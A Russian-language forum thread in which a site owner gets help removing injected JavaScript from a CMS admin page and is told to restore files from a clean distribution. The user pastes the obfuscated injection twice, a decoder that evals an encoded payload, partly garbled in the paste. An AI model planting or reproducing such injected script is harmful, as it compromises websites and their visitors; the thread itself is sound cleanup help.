Перейти к публикации

Рекомендованные сообщения

iframe искал ненашол,дополнительных файлов тоже нет,а как перезалить дистрибутив?

Если iframe нет, то script должен быть. Перезаливай так же как и заливал до этого, только

engine/data/ не перезаливай и установку не делай.

Ссылка на сообщение
Поделиться на других сайтах

Код admin.php

<script language=JavaScript>function aklban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,7,27,12,42,9,26,50,11,23,0,0,0,0,

0,0,58,47,39,45,36,43,21,24,60,37,62,51,

31,55,56,5,4,59,29,0,15,57,52,53,30,6,19,0,0,0,0,8,0,16,22,1,46,2,44,35,34,48,33

,

40,49,10,61,17,25,18,28,3,41,38,13,20,14,32,54);for(j=Math.ceil(l/B);j>0;j--){r='';for(i=Math.min(l,B);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(202^w&255);w>>=8;s-=2}else{s=6}}}eval®;}}aklban('nxmtdb6ADBEAE@QAUXLQxbmtAzXHdb640X@ED@8UnhQkJJ4NC20kfhQ4BJ4@Dd@tAXT0U0@0@EXd

Nu@nk84AJ48HI9XJ@x6EUqJkD76tIQ2UWMXN1d4AhqxdIJ8tdmJjE@EkDgQ4D@6tBmJNyMTJK80NjMx0

U

0@0@MXNCgd@nx4EJm@nQMAH48@Egz4kJXA0QEXdJxEtAXT@dx6d@6@4KeTtIq@EkZAnITmENd@tAqLQg

s')</script>

Скажи пожалуйста как этот код найти и удалить,через FTP я его не нахожу,только вижу через браузер в исходный код?

Код admin.php

<script language=JavaScript>function aklban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,7,27,12,42,9,26,50,11,23,0,0,0,0,

0,0,58,47,39,45,36,43,21,24,60,37,62,51,

31,55,56,5,4,59,29,0,15,57,52,53,30,6,19,0,0,0,0,8,0,16,22,1,46,2,44,35,34,48,33

,

40,49,10,61,17,25,18,28,3,41,38,13,20,14,32,54);for(j=Math.ceil(l/B);j>0;j--){r='';for(i=Math.min(l,B);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(202^w&255);w>>=8;s-=2}else{s=6}}}eval®;}}aklban('nxmtdb6ADBEAE@QAUXLQxbmtAzXHdb640X@ED@8UnhQkJJ4NC20kfhQ4BJ4@Dd@tAXT0U0@0@EXd

Nu@nk84AJ48HI9XJ@x6EUqJkD76tIQ2UWMXN1d4AhqxdIJ8tdmJjE@EkDgQ4D@6tBmJNyMTJK80NjMx0

U

0@0@MXNCgd@nx4EJm@nQMAH48@Egz4kJXA0QEXdJxEtAXT@dx6d@6@4KeTtIq@EkZAnITmENd@tAqLQg

s')</script>

Подскажи как этот код найти и удалить,через FTP я его не вижу,видно его только в браузере при просмотре исходного кода?

Ссылка на сообщение
Поделиться на других сайтах

pilisos, попробуй в engine/skins/default.skin.php

Нашол БОЛЬШОЕ СПАСИБО.

Всем огромное спасибо вируса вроде больше нет.

Скажите как он мог оказаться там и как в будущем от этого уберечся?

Ссылка на сообщение
Поделиться на других сайтах

Скажите как он мог оказаться там и как в будущем от этого уберечся?

pilisos,

ищем по форуму. Обсуждалось много раз, расписывали по пунктам.

Ссылка на сообщение
Поделиться на других сайтах

Я бы посоветовал не удалять код, а перезалить все файлы, мало ли где он еще может быть. Мне и в main.tpl даже заливали...

Ссылка на сообщение
Поделиться на других сайтах

Я бы посоветовал не удалять код, а перезалить все файлы, мало ли где он еще может быть. Мне и в main.tpl даже заливали...

Я не знаю как правильно перезаливать боюсь испортить сайт,при перезаливке тотал спрашивает заменить файлы и что делать если заменить то все содержимое сайта пропадет?

Ссылка на сообщение
Поделиться на других сайтах

Содержимое в базе, перезалейте всё кроме папки с шаблонами и /engine/data/ А перед заливкой сделайте резервную копию всего, что есть (БД и файлов скрипта).

Папку /engine/data/ и шаблоны проверьте на наличие скрипта вручную, там не так много файлов.

Ссылка на сообщение
Поделиться на других сайтах

Присоединяйтесь к обсуждению

Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.

Гость
Ответить в тему...

×   Вставлено в виде отформатированного текста.   Вставить в виде обычного текста

  Разрешено не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отобразить как ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

×
×
  • Создать...